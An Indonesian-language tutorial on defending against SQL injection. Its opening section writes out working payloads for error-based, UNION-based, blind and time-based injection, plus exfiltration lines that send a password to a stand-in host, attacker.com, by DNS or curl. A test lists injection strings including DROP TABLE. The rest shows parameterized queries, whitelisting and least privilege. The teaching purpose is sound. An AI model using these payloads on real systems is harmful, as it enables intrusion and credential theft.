SQL Injection #

-- Input yang dikirim attacker:
' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT version()))) --

-- Error yang muncul di response:
-- XPATH syntax error: '~8.0.32-MySQL Community Server'

-- Attacker baru saja mendapat versi MySQL dari error message!
-- Dari sini mereka tahu exploit mana yang bisa digunakan.

-- Input awal untuk mengetahui jumlah kolom:
' ORDER BY 1 --    → tidak error
' ORDER BY 2 --    → tidak error
' ORDER BY 3 --    → error → query asli punya 2 kolom

-- Setelah tahu ada 2 kolom, gunakan UNION:
' UNION SELECT username, password FROM users --

-- Query yang dieksekusi:
SELECT product_name, price FROM products WHERE id = ''
UNION
SELECT username, password FROM users --'

-- Response menampilkan daftar username dan password dari tabel users!

-- Pertanyaan: apakah karakter pertama nama database adalah 'a'?
-- Input:
' AND SUBSTRING(database(), 1, 1) = 'a' --

-- Jika halaman berubah (beda response/status) → kondisi TRUE
-- Jika halaman sama → kondisi FALSE

-- Dengan 26 karakter alfabet dan binary search:
-- Nama database 8 karakter bisa ditemukan dalam ~40 request

-- Jika respons delay ~5 detik, kondisi TRUE
-- Input MySQL:
' AND IF(SUBSTRING(database(), 1, 1) = 's', SLEEP(5), 0) --

-- Input PostgreSQL:
'; SELECT CASE WHEN (SUBSTRING(current_database(), 1, 1) = 's')
  THEN pg_sleep(5) ELSE pg_sleep(0) END --

-- Tool otomatis seperti sqlmap bisa mengekstrak seluruh database
-- dalam beberapa jam menggunakan teknik ini, bahkan tanpa error message apapun

-- MySQL: ekstrak data via DNS lookup (jika server punya akses DNS keluar)
' AND LOAD_FILE(CONCAT('\\\\', (SELECT password FROM users LIMIT 1),
  '.attacker.com\\file')) --

-- PostgreSQL: ekstrak data via HTTP (jika dblink tersedia)
'; COPY (SELECT password FROM users LIMIT 1) TO PROGRAM
  'curl http://attacker.com/?data=' --

# Python dengan psycopg2 (PostgreSQL)

# ANTI-PATTERN: concatenation langsung
def get_user_unsafe(email):
    query = f"SELECT * FROM users WHERE email = '{email}'"
    cursor.execute(query)
    return cursor.fetchone()

# BENAR: parameterized query
def get_user_safe(email):
    query = "SELECT * FROM users WHERE email = %s"
    cursor.execute(query, (email,))  # email diperlakukan sebagai data murni
    return cursor.fetchone()

# BENAR: multiple parameters
def search_orders_safe(user_id, status, min_amount):
    query = """
        SELECT id, total, status, created_at
        FROM orders
        WHERE user_id = %s
          AND status = %s
          AND total >= %s
        ORDER BY created_at DESC
    """
    cursor.execute(query, (user_id, status, min_amount))
    return cursor.fetchall()

// Go dengan database/sql

// ANTI-PATTERN
func getUserUnsafe(email string) (*User, error) {
    query := "SELECT * FROM users WHERE email = '" + email + "'"
    row := db.QueryRow(query)
    // ...
}

// BENAR: placeholder ? untuk parameterized query
func getUserSafe(email string) (*User, error) {
    query := "SELECT id, name, email FROM users WHERE email = ?"
    row := db.QueryRow(query, email)
    var user User
    err := row.Scan(&user.ID, &user.Name, &user.Email)
    return &user, err
}

// Java dengan JDBC

// ANTI-PATTERN
String query = "SELECT * FROM users WHERE email = '" + email + "'";
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery(query);

// BENAR: PreparedStatement
String query = "SELECT * FROM users WHERE email = ?";
PreparedStatement pstmt = conn.prepareStatement(query);
pstmt.setString(1, email);  // parameter pertama (1-indexed)
ResultSet rs = pstmt.executeQuery();

# SQLAlchemy — aman untuk operasi standar
from sqlalchemy import select
from models import User

# AMAN: ORM generate parameterized query secara otomatis
user = session.query(User).filter(User.email == email).first()
# Query yang digenerate: SELECT * FROM users WHERE email = ? [dengan parameter]

# ✗ ANTI-PATTERN dengan ORM: menggunakan text() tanpa binding
from sqlalchemy import text

# BERBAHAYA: string concatenation di dalam text()
query = text(f"SELECT * FROM users WHERE email = '{email}'")
result = session.execute(query)

# BENAR: text() dengan binding parameter
query = text("SELECT * FROM users WHERE email = :email")
result = session.execute(query, {"email": email})

# ✗ ANTI-PATTERN: filter dengan string langsung (jarang tapi ada)
# BERBAHAYA di beberapa ORM lama:
User.query.filter(f"email = '{email}'")  # jangan pernah ini

# ✗ ANTI-PATTERN: ORDER BY dinamis yang tidak di-whitelist
# ORDER BY tidak bisa di-parameterisasi
sort_column = request.args.get('sort', 'created_at')
query = f"SELECT * FROM orders ORDER BY {sort_column}"
# Jika sort_column = "id; DROP TABLE orders--", query berbahaya dieksekusi!

# BENAR: whitelist untuk kolom yang boleh di-sort
ALLOWED_SORT_COLUMNS = {'created_at', 'total', 'status', 'id'}
sort_column = request.args.get('sort', 'created_at')

if sort_column not in ALLOWED_SORT_COLUMNS:
    sort_column = 'created_at'  # default aman

query = text(f"SELECT * FROM orders ORDER BY {sort_column}")
# Sekarang aman karena hanya nilai dari whitelist yang bisa masuk

# Membangun dynamic WHERE clause yang aman
def search_products(filters):
    """
    filters: dict yang bisa berisi:
    - category_id: int
    - min_price: float
    - max_price: float
    - in_stock: bool
    - search: str (untuk pencarian nama)
    """
    conditions = []
    params = {}

    # Setiap kondisi dibangun secara terpisah dari nilainya
    if filters.get('category_id'):
        conditions.append("category_id = :category_id")
        params['category_id'] = filters['category_id']

    if filters.get('min_price') is not None:
        conditions.append("price >= :min_price")
        params['min_price'] = filters['min_price']

    if filters.get('max_price') is not None:
        conditions.append("price <= :max_price")
        params['max_price'] = filters['max_price']

    if filters.get('in_stock'):
        conditions.append("stock > 0")  # tidak ada parameter, tapi bukan input user

    if filters.get('search'):
        conditions.append("name LIKE :search")
        params['search'] = f"%{filters['search']}%"  # nilai dibound sebagai parameter

    # Susun query — hanya kondisi dan nama kolom yang di-build secara dinamis,
    # bukan nilai. Nilai SELALU melalui binding.
    where_clause = " AND ".join(conditions) if conditions else "1=1"
    query = text(f"SELECT * FROM products WHERE {where_clause}")

    return session.execute(query, params).fetchall()

-- ANTI-PATTERN: aplikasi menggunakan root atau superuser
-- Jika SQLi berhasil: attacker bisa DROP, ALTER, CREATE, FILE, dsb

-- BENAR: buat user dengan hak minimal
-- User untuk operasi normal aplikasi (baca + tulis):
CREATE USER 'app_user'@'localhost' IDENTIFIED BY 'strong_random_password';
GRANT SELECT, INSERT, UPDATE, DELETE ON myapp.* TO 'app_user'@'localhost';

-- User untuk operasi migration saja (digunakan CI/CD, bukan aplikasi):
CREATE USER 'migration_user'@'localhost' IDENTIFIED BY 'different_strong_password';
GRANT SELECT, INSERT, UPDATE, DELETE, CREATE, ALTER, DROP
    ON myapp.* TO 'migration_user'@'localhost';

-- Tidak ada yang perlu FILE, SUPER, atau GRANT OPTION di aplikasi biasa
FLUSH PRIVILEGES;

-- Dengan least privilege:
-- SQLi yang menggunakan SELECT → bisa baca data (masih serius)
-- SQLi yang mencoba DROP TABLE → gagal (tidak ada hak)
-- SQLi yang mencoba FILE (untuk baca /etc/passwd) → gagal

# ANTI-PATTERN: database error muncul langsung ke user
@app.route('/search')
def search():
    query = request.args.get('q')
    try:
        results = db.execute(f"SELECT * FROM products WHERE name LIKE '%{query}%'")
        return jsonify(results)
    except Exception as e:
        return str(e), 500
        # Response: "You have an error in your SQL syntax near '...'
        # Attacker mendapat konfirmasi bahwa SQLi berhasil dan detail struktur query

# BENAR: log error internal, tampilkan pesan generik ke user
import logging
logger = logging.getLogger(__name__)

@app.route('/search')
def search():
    query = request.args.get('q', '')
    try:
        # Parameterized query — tidak ada SQLi
        results = db.execute(
            "SELECT id, name, price FROM products WHERE name LIKE %s",
            (f"%{query}%",)
        )
        return jsonify(results)
    except DatabaseError as e:
        # Log detail untuk debugging internal
        logger.error(f"Database error in search: {e}", extra={'query': query})
        # Tampilkan pesan generik ke user — tidak ada informasi teknis
        return jsonify({'error': 'Terjadi kesalahan. Silakan coba lagi.'}), 500

# Unit test untuk memastikan endpoint tidak rentan SQLi
def test_search_not_vulnerable_to_sqli():
    """Test bahwa endpoint search tidak rentan SQL injection."""
    sqli_payloads = [
        "' OR '1'='1",
        "'; DROP TABLE products; --",
        "' UNION SELECT username, password FROM users --",
        "1' AND SLEEP(5) --",
    ]

    for payload in sqli_payloads:
        response = client.get(f'/search?q={payload}')

        # Endpoint harus tetap mengembalikan response normal (bukan error SQL)
        assert response.status_code in [200, 404], \
            f"Unexpected status {response.status_code} for payload: {payload}"

        # Tidak boleh ada informasi SQL dalam response
        response_text = response.data.decode('utf-8').lower()
        sql_error_indicators = [
            'syntax error', 'mysql_fetch', 'sql syntax',
            'ora-01756', 'unterminated string', 'pg_query'
        ]
        for indicator in sql_error_indicators:
            assert indicator not in response_text, \
                f"SQL error indicator found: {indicator} for payload: {payload}"

        # Tidak boleh ada data dari tabel lain yang muncul
        assert 'password' not in response_text
        assert 'username' not in response_text

# ✗ Anti-pattern 1: string formatting/concatenation ke query
query = "SELECT * FROM orders WHERE user_id = %d" % user_id
query = f"SELECT * FROM users WHERE email = '{email}'"
query = "SELECT * FROM products WHERE name = '" + name + "'"

# ✗ Anti-pattern 2: sanitasi manual sebagai satu-satunya perlindungan
def "safe"_query(email):
    email = email.replace("'", "''")  # escape single quote
    query = f"SELECT * FROM users WHERE email = '{email}'"
    # Ini tidak cukup — ada encoding tricks dan konteks lain yang tidak ditangani

# ✗ Anti-pattern 3: menganggap validasi input sudah cukup
def process_input(user_id):
    if not user_id.isdigit():
        abort(400)
    # user_id sudah angka saja, tapi masih concatenation — bukan solusi universal
    query = f"SELECT * FROM users WHERE id = {user_id}"

# ✗ Anti-pattern 4: dynamic table/column name dari user tanpa whitelist
sort_by = request.args.get('sort')
query = f"SELECT * FROM orders ORDER BY {sort_by}"  # berbahaya

# ✓ Solusi untuk semua kasus di atas:
# Nilai → parameterized query
# Nama tabel/kolom → whitelist eksplisit, tidak pernah dari user langsung